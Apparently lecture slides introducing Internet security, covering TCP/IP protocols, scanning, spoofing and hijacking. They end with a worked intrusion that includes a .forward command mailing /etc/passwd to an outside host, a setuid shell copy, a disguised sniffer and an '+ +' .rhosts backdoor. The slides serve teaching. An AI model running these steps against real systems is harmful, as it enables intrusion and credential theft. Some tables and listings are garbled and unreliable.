Internet Security: An Introduction

Internet

- A network of networks
- A *logic* network composed of a set of autonomous *subnetworks* connected by *gateways*
- Open architecture
- Different protocols for physical transmission
- A single protocol suite for the network and transport layers

History (‘70–’80)

- The Defense Advanced Research Project Agency (DARPA) develops ARPANET
- First four nodes (1969):
  - UC Los Angeles
  - UC Santa Barbara
  - Stanford Research Institute
  - University of Utah
- Based on the Network Control Protocol (NCP)
- ARPANET moves to TCP/IP (January 1st 1983)

History (‘90)

- Fast growth (size and traffic volume)
- 1991: Tim Berners-Lee (CERN) creates the World-Wide Web
The TCP/IP Protocol Suite

- Network protocols (OSI layer 3)
  - IP (Internet Protocol)
  - ICMP (Internet Control Message Protocol)
  - IGMP (Internet Group Management Protocol)
- Transport protocols (OSI layer 4)
  - TCP (Transfer Control Protocol)
  - UDP (User Datagram Protocol)
- Application protocols (OSI layer 7)
  - SMTP, FTP, SSH, ...
- Other protocols (OSI layer 2)
  - ARP (Address Resolution Protocol)
  - RARP (Reverse Address Resolution Protocol)

Internet Addressing

- IP Datagram

<table>
<thead>
<tr>
<th>Version</th>
<th>HL</th>
<th>Service type (TOS)</th>
<th>Total length</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Identifier</td>
<td>Flags</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Protocol</td>
<td>Fragment offset</td>
</tr>
<tr>
<td>Time To Live</td>
<td></td>
<td>Source IP address</td>
<td>Destination IP address</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Options</td>
<td>Padding</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Data</td>
<td></td>
</tr>
</tbody>
</table>

TCP/IP Layering

- Internet Protocol (IP)
  - The IP protocol represents the "glue" of the Internet
  - The IP protocol provides a connectionless, unreliable, best-effort datagram delivery service (delivery, integrity, ordering, non-duplication, and bandwidth is not guaranteed)
  - IP datagrams can be exchanged between any two nodes (provided they both have an IP address)
  - For direct communication IP relies on a number of different lower-level protocols, e.g., Ethernet, Token Ring, FDDI, RS-232

IP Encapsulation

<table>
<thead>
<tr>
<th>IP header</th>
<th>IP data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Frame header</td>
<td>Frame data</td>
</tr>
</tbody>
</table>
Routing: Direct Delivery

- If two hosts are in the same physical network the IP datagram is encapsulated in a lower level protocol and delivered directly.

```
111.10.20.14
111.10.20.76
111.10.20.123
111.10.20.121
111.10.20.135
```

```
111.10.20.121
```

```
From 111.10.20.121
To 111.10.20.14
```

```
Subnetwork 111.10.20
```

```
From 09:45:FA:07:22:23
To 0A:12:33:B2:C4:11
```

```
09:45:FA:07:22:23
```

```
0A:12:33:B2:C4:11
```

Ethernet

- Widely-used link-layer protocol
- Uses CSMA/CD (Carrier Sense, Multiple Access with Collision Detection)
- Destination address: 48 bits (e.g., 09:45:FA:07:22:23)
- Source address: 48 bits
- Type: 2 bytes (IP, ARP, RARP)
- Data:
  - Min 46 bytes (padding may be needed)
  - Max 1500 bytes
- CRC: Cyclic Redundancy Check, 4 bytes

Ethernet Frame

- dest (6) src (6) type (2) data (46-1500) CRC (4)
- 0800 = IP datagram
- 0806 = ARP (28) PAD (18)
- 0808 = RARP (28) PAD (18)

Local Area Network Attacks

- Sniffing
- Spoofing
- Hijacking
- ARP attacks
- Goals
  - Impersonation of a host
  - Denial of service
  - Access to information
  - Tampering with delivery mechanisms

Network Sniffing

- Technique at the basis of many attacks
- The attacker sets his/her network interface in promiscuous mode
- Can access all the traffic on the segment

IP Spoofing

- A host impersonates another host by sending a datagram with the address of some other host as the source address
- The attacker sniffs the network looking for replies from the attacked host
Why IP Spoofing?

- IP spoofing is used to impersonate sources of security-critical information (e.g., a DNS server or a NIS server)
- IP spoofing is used to exploit address-based authentication
  - RPC/NFS/NIS
  - "r"-commands (rsh, rcp, etc.)
- Many tools available
  - Protocol-specific spoofers (DNS spoofer, NFS spoofer, etc)
  - Generic IP spoofing tools

Hijacking

- Sniffing/Spoofing is the basis for hijacking
- The attacker waits for a client request
- Races against legitimate host when producing a reply
- We will see UDP-, and TCP-based variations of this attack

Routing: Indirect Delivery

- If two hosts are in different physical networks the IP datagram is encapsulated in a lower level protocol and delivered to the directly connected gateway
- The gateway uses a table to decide which is the next step in the delivery process
- This step is repeated until a gateway that is in the same physical subnetwork as the destination host is reached
- Then direct delivery is used

Blind IP Spoofing

- A host sends an IP datagram with the address of some other host as the source address
- The host replies to the legitimate host
- Usually the attacker does not have access to the reply traffic
Man-in-the-middle Attacks

- An attacker that has control of a gateway used in the delivery process can
  - Sniff the traffic
  - Intercept/block traffic
  - Modify traffic

Network → Gateway → Network

Internet Control Message Protocol

- ICMP is used to exchange control/error messages about the delivery of IP datagrams
- ICMP messages are encapsulated inside IP datagrams
- ICMP messages can be:
  - Requests
  - Responses
  - Error messages
    - An ICMP error message includes the header and a portion of the payload (usually the first 8 bytes) of the offending IP datagram

ICMP – Level 3 Protocol

- HTTP
- SMTP
- DNS
- RPC
- TCP
- UDP
- IGMP
- IP
- ICMP
- ARP
- Hardware Interface
- RARP
- Physical Layer

ICMP Message Format

<table>
<thead>
<tr>
<th>Type</th>
<th>Code</th>
<th>Checksum</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>4</td>
<td>8</td>
<td>12</td>
</tr>
<tr>
<td>16</td>
<td>20</td>
<td>24</td>
<td>28</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>31</td>
</tr>
</tbody>
</table>

ICMP Message

- Address mask request/reply: used by diskless systems to obtain the network mask at boot time
- Timestamp request/reply: used to synchronize clocks
- Source quench: used to inform about traffic overloads
- Parameter problem: used to inform about errors in the IP datagram fields

ICMP Messages

- Echo request/reply: used to test connectivity (ping)
- Time exceeded: used to report expired datagrams (TTL = 0)
- Redirect: used to inform hosts about better routes (gateways)
- Destination unreachable: used to inform a host of the impossibility to deliver traffic to a specific destination
ICMP Echo Request/Reply

- Used by the ping program

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Type = 0 or 8</td>
<td>Code = 0</td>
<td>Checksum</td>
<td></td>
</tr>
<tr>
<td>identifier = Process ID</td>
<td>Sequence number</td>
<td>Optional data</td>
<td></td>
</tr>
</tbody>
</table>

ICMP Echo Attacks

- ICMP Echo Request messages can be used to map the hosts of a network (pingscan or ipsweep)
  - ICMP echo datagrams are sent to all the hosts in a subnetwork
  - The attacker collects the replies and determines which hosts are actually alive

Starting nmap 4.11 (http://www.insecure.org/nmap/)
Host cisco-sales.ns.com (192.168.31.11) appears to be up.
Host sales1.ns.com (192.168.31.19) appears to be up.
Host sales2.ns.com (192.168.31.43) appears to be up.
Host sales3.ns.com (192.168.31.181) appears to be up.
Nmap run completed -- 256 IP addresses (5 hosts up) scanned in 1 second

- ICMP Echo Request can be used to perform a denial of service attack (smurf)

ICMP Time Exceeded

- Used when
  - TTL becomes zero (code = 0)
  - The reassembling of a fragmented datagram times out (code = 1)

Ping

# ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) from 192.168.1.100 : 56 (84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=0 ttl=64 time=1.049 ms
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=660 usec
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=597 usec
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=548 usec
64 bytes from 192.168.1.1: icmp_seq=4 ttl=64 time=401 usec
64 bytes from 192.168.1.1: icmp_seq=5 ttl=64 time=592 usec
64 bytes from 192.168.1.1: icmp_seq=6 ttl=64 time=547 usec
--- 192.168.1.1 ping statistics ---
7 packets transmitted, 7 packets received, 0% packet loss
round-trip min/avg/max/mdev = 0.547/0.656/1.049/0.165 ms

Traceroute

- ICMP Time Exceeded messages are used by the traceroute program to determine the path used to deliver a datagram
- A series of IP datagrams are sent to the destination node
- Each datagram has an increasing TTL field (starting at 1)
- From the ICMP Time exceeded messages returned by the intermediate gateways it is possible to reconstruct the route from the source to the destination
- Note: traceroute allows one to specify loose source routing (-g option)
- Useful for network analysis, topology mapping
Traceroute

```
traceroute to pos4 155M.cr2.SNV.gblx.net (206.132.150.233), 30 hops max, 38 byte packets
1 csworld48 (128.111.48.2)  1.077 ms  0.827 ms  1.051 ms
2 engr-gw-lo.ucsb.edu (128.111.51.1)  1.479 ms  0.855 ms  1.222 ms
3 border1.ucsb.edu (128.111.1.83)  1.224 ms  1.375 ms  1.222 ms
4 gsr-g1-0.commserv.ucsb.edu (128.111.252.150)  1.357 ms  1.383 ms  1.642 ms
5 USC-ISI-USC.POS.calren2.net (198.32.248.73)  3.876 ms  4.493 ms  3.913 ms
6 ISI-USC.POS.calren2.net (198.32.248.26)  4.401 ms  4.533 ms  4.261 ms
7 UCLA-ISI-7507-USC.POS.calren2.net (198.32.248.118)  5.429 ms  5.530 ms  5.384 ms
8 corerouter2.serial6-0-0.Bloomington.cw.net (166.63.131.129)  8.562 ms  8.244 ms  7.857 ms
9 corerouter1.SanFrancisco.cw.net (204.70.9.131)  17.563 ms  17.861 ms  17.941 ms
10 bordercore1.SanFrancisco.cw.net (166.48.12.1)  18.108 ms  18.269 ms  17.945 ms
11 frontier-comm.SanFrancisco.cw.net (166.48.13.242)  19.164 ms  18.749 ms  20.472 ms
12 pos4-1-155M.cr2.SNV.gblx.net (206.132.150.233)  19.664 ms  18.666 ms  18.503 ms
```

User Datagram Protocol (UDP)

- The UDP protocol relies on IP to provide a connectionless, unreliable, best-effort datagram delivery service (delivery, integrity, non-duplication, ordering, and bandwidth is not guaranteed)
- Introduces the port abstraction that allows one to address different message destinations for the same IP address
- Often used for multimedia (more efficient than TCP) and for services based on request/reply schema (DNS, NIS, NFS, RPC)

UDP Message

<table>
<thead>
<tr>
<th>Field</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>UDP source port</td>
<td>2</td>
</tr>
<tr>
<td>UDP destination port</td>
<td>2</td>
</tr>
<tr>
<td>UDP message length</td>
<td>2</td>
</tr>
<tr>
<td>Checksum</td>
<td>2</td>
</tr>
<tr>
<td>Data</td>
<td></td>
</tr>
</tbody>
</table>

UDP Encapsulation

```
UDP header   UDP data
  IP header   IP data
    Frame header Frame data
```

UDP Spoofing

- Basically IP spoofing
- Very easy to perform

```
Spoofed UDP request
  UDP reply
    Trusted client
      Attacker
    Server
```
UDP Hijacking

- Variation of the UDP spoofing attack

UDP request
Spoofed UDP reply
UDP reply
UDP request

Client
Attacker
Server

UDP Portscan

- Used to determine which UDP services are available
- A zero-length UDP packet is sent to each port
- If an ICMP error message "port unreachable" is received the service is assumed to be unavailable
- Many TCP/IP stack implementations (not Windows!) implement a limit on the error message rate, therefore this type of scan can be slow (e.g., Linux limit is 80 messages every 4 seconds)

% nmap -sU 192.168.1.10
Starting nmap 4.11 (http://www.insecure.org/nmap/)
Interesting ports on 192.168.1.10:
(The 1445 ports scanned but not shown below are in state: closed)
Port State Service
137/udp open netbios-ns
138/udp open netbios-dgm

Nmap run completed -- 1 IP address (1 host up) scanned in 4 seconds

Transmission Control Protocol (TCP)

- The TCP protocol relies on IP to provide a connection-oriented, reliable stream delivery service (no loss, no duplication, no transmission errors, correct ordering)
- TCP, like UDP, provides the port abstraction
- TCP allows two nodes to establish a virtual circuit, identified by source IP address, destination IP address, source TCP port, destination TCP port
- The virtual circuit is composed of two streams (full-duplex connection)
- The pair IP address/port number is sometimes called a socket (and the two streams are called a socket pair)

TCP Segment

<table>
<thead>
<tr>
<th>0</th>
<th>4</th>
<th>8</th>
<th>12</th>
<th>16</th>
<th>20</th>
<th>24</th>
<th>28</th>
<th>31</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source port</td>
<td>Sequence number</td>
<td>Destination port</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Acknowledgment number</td>
<td>HLEN</td>
<td>Reserved</td>
<td>Flags</td>
<td>Window</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Checksum</td>
<td>Options</td>
<td>Urgent pointer</td>
<td>Padding</td>
<td>Data</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
TCP Encapsulation

<table>
<thead>
<tr>
<th>IP header</th>
<th>IP data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Frame header</td>
<td>Frame data</td>
</tr>
</tbody>
</table>

TCP Seq/Ack Numbers

- The sequence number specifies the position of the segment data in the communication stream (SYN=13423 means: the payload of this segment contains the data from byte 13423 to byte 13458)
- The acknowledgment number specifies the position of the next byte expected from the communication partner (ACK = 16754 means: I have received correctly up to byte 16753 in the stream, I expect the next byte to be 16754)
- These numbers are used to manage retransmission of lost segments, duplication, flow control

TCP Window

- The TCP window is used to perform flow control
- Segments will be accepted only if their sequence numbers are inside the window that starts with the current acknowledgment number: 
  ack number < sequence number < ack number + window
- The window size can change dynamically to adjust the amount of information sent by the sender

TCP Flags

- Flags are used to manage the establishment and shutdown of a virtual circuit
  - SYN: request for the synchronization of syn/ack numbers (used in connection setup)
  - ACK: states that the acknowledgment number is valid (all segments in a virtual circuit have this flag set, except for the first one)
  - FIN: request to shutdown one stream
  - RST: request to immediately reset the virtual circuit
  - URG: states that the Urgent Pointer is valid
  - PSH: request a “push” operation on the stream (that is, the stream data should be passed to the user application as soon as possible)

TCP Virtual Circuit: Setup

- A server, listening to a specific port, receives a connection request from a client: The segment containing the request is marked with the SYN flag and contains a random initial sequence number \(sc\)
- The server answers with a segment marked with both the SYN and ACK flags and containing
  - an initial random sequence number \(ss\)
  - \(sc + 1\) as the acknowledgment number
- The client sends a segment with the ACK flag set and with sequence number \(sc + 1\) and acknowledgment number \(ss + 1\)

What Initial Sequence Number?

- The TCP standard (RFC 793) specifies that the sequence number should be incremented every 4 microseconds
- BSD UNIX systems initially used a number that is incremented by 64,000 every half second (8 microseconds increments) and by 64,000 each time a connection is established
TCP: Three-Way Handshake

Client

<table>
<thead>
<tr>
<th>Time</th>
<th>Seq</th>
<th>Ack</th>
<th>SYN</th>
<th>ACK</th>
<th>FIN</th>
</tr>
</thead>
<tbody>
<tr>
<td>13987</td>
<td>23</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>13987</td>
<td>23</td>
<td>23</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

Server

<table>
<thead>
<tr>
<th>Time</th>
<th>Seq</th>
<th>Ack</th>
<th>SYN</th>
<th>ACK</th>
<th>FIN</th>
</tr>
</thead>
<tbody>
<tr>
<td>13987</td>
<td>23</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>13987</td>
<td>23</td>
<td>23</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

TCP Virtual Circuit: Data Exchange

- A partner sends in each packet the acknowledgment of the previous segment and its own sequence number increased by the number of transmitted bytes
- A partner accepts a segment of the other partner only if the numbers match the expected ones
- An empty segment may be used to acknowledge the received data

TCP Virtual Circuit: Shutdown

- One of the partners, say A, can terminate its stream by sending a segment with the FIN flag set
- The other partner, say B, answers with an ACK segment
- From that point on, A will not send any data to B: it will just acknowledge data sent by B
- When B shuts down its stream the virtual circuit is considered closed
TCP Portscan

- Used to determine the TCP services available on a victim host
- Most services are statically associated with port numbers (see /etc/services in UNIX systems)
- In its simplest form (connect()) scanning, the attacker tries to open a TCP connection to all the 65535 ports of the victim host
- If the handshake is successful then the service is available
- Advantage: no need to be root
- Disadvantage (?): very noisy

connect() Scan

- root@localhost: nmap -sT 192.168.1.20
  Starting nmap 4.11 (http://www.insecure.org/nmap/

<table>
<thead>
<tr>
<th>Port</th>
<th>State</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>7/tcp</td>
<td>open</td>
<td>echo</td>
</tr>
<tr>
<td>9/tcp</td>
<td>open</td>
<td>discard</td>
</tr>
<tr>
<td>11/tcp</td>
<td>open</td>
<td>systat</td>
</tr>
<tr>
<td>13/tcp</td>
<td>open</td>
<td>daytime</td>
</tr>
<tr>
<td>15/tcp</td>
<td>open</td>
<td>netstat</td>
</tr>
<tr>
<td>19/tcp</td>
<td>open</td>
<td>chargen</td>
</tr>
<tr>
<td>21/tcp</td>
<td>open</td>
<td>ftp</td>
</tr>
<tr>
<td>22/tcp</td>
<td>open</td>
<td>ssh</td>
</tr>
<tr>
<td>23/tcp</td>
<td>open</td>
<td>telnet</td>
</tr>
<tr>
<td>512/tcp</td>
<td>open</td>
<td>exec</td>
</tr>
<tr>
<td>513/tcp</td>
<td>open</td>
<td>login</td>
</tr>
<tr>
<td>514/tcp</td>
<td>open</td>
<td>shell</td>
</tr>
<tr>
<td>6000/tcp</td>
<td>open</td>
<td>X11</td>
</tr>
</tbody>
</table>

Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

TCP SYN Scanning

- Also known as “half-open” scanning
- The attacker sends a SYN packet
- If the server answers with a SYN/ACK packet then the port is open or (usually) with a RST packet if the port is closed
- The attacker sends a RST packet instead of the final ACK
- The connection is never open and the event is not logged by the operating system/application

TCP FIN Scanning

- The attacker sends a FIN-marked packet
- In most TCP/IP implementations (Windows excluded)
  - If the port is closed a RST packet is sent back
  - If the port is open the FIN packet is ignored (timeout)
- Variation of this type of scanning technique
  - Xmas: FIN, PSH, URG set
  - Null: no flags set

TCP FIN Scanning

- root@localhost: nmap -sF 128.111.38.78
  Starting nmap (http://www.insecure.org/nmap/

<table>
<thead>
<tr>
<th>Port</th>
<th>State</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>80/tcp</td>
<td>open</td>
<td>http</td>
</tr>
</tbody>
</table>

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
**OS Fingerprinting**

- OS fingerprinting allows one to determine the operating system of a host by examining the reaction to carefully crafted packets
  - Wrong answers to FIN TCP packets
  - “Undefined” flags in the TCP header of a request are copied verbatim in the reply
  - Weird combinations of flags in the TCP header
  - Selection of TCP initial sequence numbers
  - Selection of initial TCP window size
  - Analysis of the use of ICMP messages
    - Error rate
    - Amount of offending datagram included
  - TCP options

**TCP Spoofing**

- Attack aimed at impersonating another host when establishing a TCP connection
- First discussed by R.T. Morris in “A Weakness in the 4.2BSD Unix TCP/IP Software” in 1985
- Used by Mitnick in his attack against SDSC

**TCP Hijacking**

- Powerful technique to take control of an existing TCP connection
- The attacker uses spoofed TCP segments to
  - insert data in the streams
  - reset an existing connection (denial of service)
- Anyway the correct sequence/acknowledgment numbers must be used
  - The attacker can eavesdrop the traffic between client and server
  - The attacker can guess the correct seq/ack numbers
- Conclusion: TCP is much more difficult to spoof than UDP
TCP Hijacking

- ACK messages with no data are not retransmitted in case of loss
- The "ACK storm" continues until one message is lost
- Any subsequent attempt to communicate will generate an ACK storm
- ACK storms can be blocked by the attacker using ACK packets with the right numbers

TCP Hijacking

\[
\begin{align*}
CL\_SEQ &= SVR\_ACK \\
SVR\_SEQ &= CL\_ACK
\end{align*}
\]

(1) Spoofed TCP with SEQ=CL_SEQ and 30 bytes of data
(3) Acknowledge SEQ=CL_SEQ!

Putting it all Together for a Break-In

- Choose a network
- Gather information (topology, services)
- Exploit vulnerabilities
- Create backdoors
- Cover tracks

Gather Information

- Traceroute
- IP sweep
- UDP portsweep
- TCP portsweep
- DNS zone transfer
- rpcinfo
- Service banners

Traceroute

trace to res-server.ns.com [195.121.32.42] 30 hops max, 32 byte packets

traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 1
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 2
trace to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 3
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 4
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 5
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 6
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 7
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 8
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 9
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 10
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 11
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 12
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 13
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 14
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 15
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 16
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 17
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 18
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 19
traceroute to res-server.ns.com (195.121.32.42) 30 hops max, 32 byte packets 20
**IP Sweep**

Starting nmap 4.11 (http://www.insecure.org/nmap/)

- Host cisco-res.ns.com (195.121.31.11) appears to be up.
- Host sales.ns.com (195.121.31.19) appears to be up.
- Host sales1.ns.com (195.121.31.19) appears to be up.
- Host sales2.ns.com (195.121.31.43) appears to be up.
- Host sales3.ns.com (195.121.31.181) appears to be up.

Nmap run completed -- 256 IP addresses (5 hosts up) scanned in 1 second.

**TCP Portsweep**

Interesting ports on sales4.ns.com (195.121.31.22):

<table>
<thead>
<tr>
<th>Port</th>
<th>State</th>
<th>Protocol</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>open</td>
<td>tcp</td>
<td>echo</td>
</tr>
<tr>
<td>9</td>
<td>open</td>
<td>tcp</td>
<td>discard</td>
</tr>
<tr>
<td>13</td>
<td>open</td>
<td>tcp</td>
<td>daytime</td>
</tr>
<tr>
<td>19</td>
<td>open</td>
<td>tcp</td>
<td>chargen</td>
</tr>
<tr>
<td>21</td>
<td>open</td>
<td>tcp</td>
<td>ftp</td>
</tr>
<tr>
<td>22</td>
<td>open</td>
<td>tcp</td>
<td>ssh</td>
</tr>
<tr>
<td>23</td>
<td>open</td>
<td>tcp</td>
<td>telnet</td>
</tr>
<tr>
<td>25</td>
<td>open</td>
<td>tcp</td>
<td>netlogin</td>
</tr>
<tr>
<td>37</td>
<td>open</td>
<td>tcp</td>
<td>time</td>
</tr>
<tr>
<td>70</td>
<td>open</td>
<td>tcp</td>
<td>finger</td>
</tr>
<tr>
<td>111</td>
<td>open</td>
<td>tcp</td>
<td>sunrpc</td>
</tr>
<tr>
<td>113</td>
<td>open</td>
<td>tcp</td>
<td>ndmp</td>
</tr>
<tr>
<td>512</td>
<td>open</td>
<td>tcp</td>
<td>biff</td>
</tr>
<tr>
<td>513</td>
<td>open</td>
<td>tcp</td>
<td>login</td>
</tr>
<tr>
<td>514</td>
<td>open</td>
<td>tcp</td>
<td>shell</td>
</tr>
<tr>
<td>515</td>
<td>open</td>
<td>tcp</td>
<td>printer</td>
</tr>
<tr>
<td>6000</td>
<td>open</td>
<td>tcp</td>
<td>x11</td>
</tr>
</tbody>
</table>

Nmap run completed -- 1 IP address (1 host up) scanned in 0.86 seconds.

**UDP Portsweep**

Interesting ports on sales4.ns.com (195.121.31.22):

<table>
<thead>
<tr>
<th>Port</th>
<th>State</th>
<th>Protocol</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>open</td>
<td>udp</td>
<td>echo</td>
</tr>
<tr>
<td>9</td>
<td>open</td>
<td>udp</td>
<td>discard</td>
</tr>
<tr>
<td>13</td>
<td>open</td>
<td>udp</td>
<td>daytime</td>
</tr>
<tr>
<td>19</td>
<td>open</td>
<td>udp</td>
<td>chargen</td>
</tr>
<tr>
<td>37</td>
<td>open</td>
<td>udp</td>
<td>time</td>
</tr>
<tr>
<td>53</td>
<td>open</td>
<td>udp</td>
<td>nameserver</td>
</tr>
<tr>
<td>111</td>
<td>open</td>
<td>udp</td>
<td>ndmp</td>
</tr>
<tr>
<td>123</td>
<td>open</td>
<td>udp</td>
<td>syslog</td>
</tr>
<tr>
<td>161</td>
<td>open</td>
<td>udp</td>
<td>snmp</td>
</tr>
<tr>
<td>177</td>
<td>open</td>
<td>udp</td>
<td>xdmcp</td>
</tr>
<tr>
<td>512</td>
<td>open</td>
<td>udp</td>
<td>kpwd</td>
</tr>
<tr>
<td>513</td>
<td>open</td>
<td>udp</td>
<td>system</td>
</tr>
<tr>
<td>517</td>
<td>open</td>
<td>udp</td>
<td>talk</td>
</tr>
<tr>
<td>520</td>
<td>open</td>
<td>udp</td>
<td>route</td>
</tr>
<tr>
<td>522</td>
<td>open</td>
<td>udp</td>
<td>xdmcp</td>
</tr>
</tbody>
</table>

Nmap run completed -- 1 IP address (1 host up) scanned in 3368 seconds.

**Check Services**

- The anonymous ftp home directory on sales4 is writable.
- We create a .forward file that includes a command that will conveniently send us the password file.
- Use ftp to upload the file.
- Send a random email message to the "ftp" user.

**Network Topology**

![Network Topology Diagram]

**UDP Portsweep**

Starting nmap 4.11 (http://www.insecure.org/nmap/)

Interesting ports on sales4.ns.com (195.121.31.22):

<table>
<thead>
<tr>
<th>Port</th>
<th>State</th>
<th>Protocol</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>open</td>
<td>udp</td>
<td>echo</td>
</tr>
<tr>
<td>9</td>
<td>open</td>
<td>udp</td>
<td>discard</td>
</tr>
<tr>
<td>13</td>
<td>open</td>
<td>udp</td>
<td>daytime</td>
</tr>
<tr>
<td>19</td>
<td>open</td>
<td>udp</td>
<td>chargen</td>
</tr>
<tr>
<td>37</td>
<td>open</td>
<td>udp</td>
<td>time</td>
</tr>
<tr>
<td>53</td>
<td>open</td>
<td>udp</td>
<td>nameserver</td>
</tr>
<tr>
<td>111</td>
<td>open</td>
<td>udp</td>
<td>ndmp</td>
</tr>
<tr>
<td>123</td>
<td>open</td>
<td>udp</td>
<td>syslog</td>
</tr>
<tr>
<td>161</td>
<td>open</td>
<td>udp</td>
<td>snmp</td>
</tr>
<tr>
<td>177</td>
<td>open</td>
<td>udp</td>
<td>xdmcp</td>
</tr>
<tr>
<td>512</td>
<td>open</td>
<td>udp</td>
<td>kpwd</td>
</tr>
<tr>
<td>513</td>
<td>open</td>
<td>udp</td>
<td>system</td>
</tr>
<tr>
<td>517</td>
<td>open</td>
<td>udp</td>
<td>talk</td>
</tr>
<tr>
<td>520</td>
<td>open</td>
<td>udp</td>
<td>route</td>
</tr>
<tr>
<td>522</td>
<td>open</td>
<td>udp</td>
<td>xdmcp</td>
</tr>
</tbody>
</table>

Nmap run completed -- 1 IP address (1 host up) scanned in 3368 seconds.

**Attack**

- The anonymous ftp home directory on sales4 is writable.
- We create a .forward file that includes a command that will conveniently send us the password file.
- Use ftp to upload the file.
- Send a random email message to the "ftp" user.

`attack% echo "|/bin/mail root@131.111.15.27 < /etc/passwd" > my_forward`

`attack% ftp sales4.ns.com`

Connected to sales4.ns.com

220 Hello unknown@131.111.15.27!

220 sales4 FTP server (SunOS 4.1)

Name: anonymous

331 Guest login ok, send your complete e-mail address as password.

Password: mickey@disney.com

230 Guest login ok, access restrictions apply.

ftp> put my_forward .forward

ftp> bye

Goodbye

`attack% echo ciao | mail ftp@sales4.ns.com`
**Password File**

```
root: 100:1:Operator:/bin/bash

daemon: *:0:1:Daemon:/var/run:/bin/bash

mark: 131.111.15.27:0:1:Operator:/home/mark:/bin/csh

nobody:*:65534:65534::/:

daemon:*:1:1::/

mark: kBx.hMxQLcooc:277:100:Mark Duggie:/home/mark:/bin/csh

andrew: morUCUdHouTFI:901:100:Andrew Duggan:/home/andrew:/bin/csh

steven:Ok8/DX8kIERmI:531:100:Steven Beagal:/home/steven:/bin/tcsh
```

- Running a password cracking program we get an account in less than a minute:
  - Dec 3 17:10:08 guessed mark (/bin/csh in password) kBx.hMxQLcooc
- We now have interactive access to sales4

**More Privileges**

```
attack% telnet sales4.ns.com
Trying 195.121.31.22 ...
Connected to vend-server.ns.it.
Escape character is '^]'.
Hello unknown@131.111.15.27!
SunOS UNIX (vend-server)
login: mark
password: saratoga
vend-server% chmod 700 loadmodule.xpl
vend-server% loadmodule.xpl
Ok... compiled
```

```
attack% ftp sales4.ns.com
Connected to 195.121.31.22.
220-Hello unknown@131.111.15.27,
Name: mark
331 Password required for vend
Password: saratoga
230 User mark logged in
Ftp put loadmodule.spl...
...
ftp> bye
221 Goodbye.
```

**What Next?**

- Install a sniffer
  - `mv sniffit xterm`
  - `./xterm`
- Create a supershell
  - `cp /bin/sh ~mark/.config`
  - `chmod 4755 ~mark/.config`
- Modify configuration files
  - `echo "+ +" >> ~/.rhosts`

**Conclusions**

- The Internet is based on the TCP/IP protocol suite
- The TCP/IP protocol suite was not developed with security in mind
- Spoofing attacks
- Scanning attacks
- An example of a network intrusion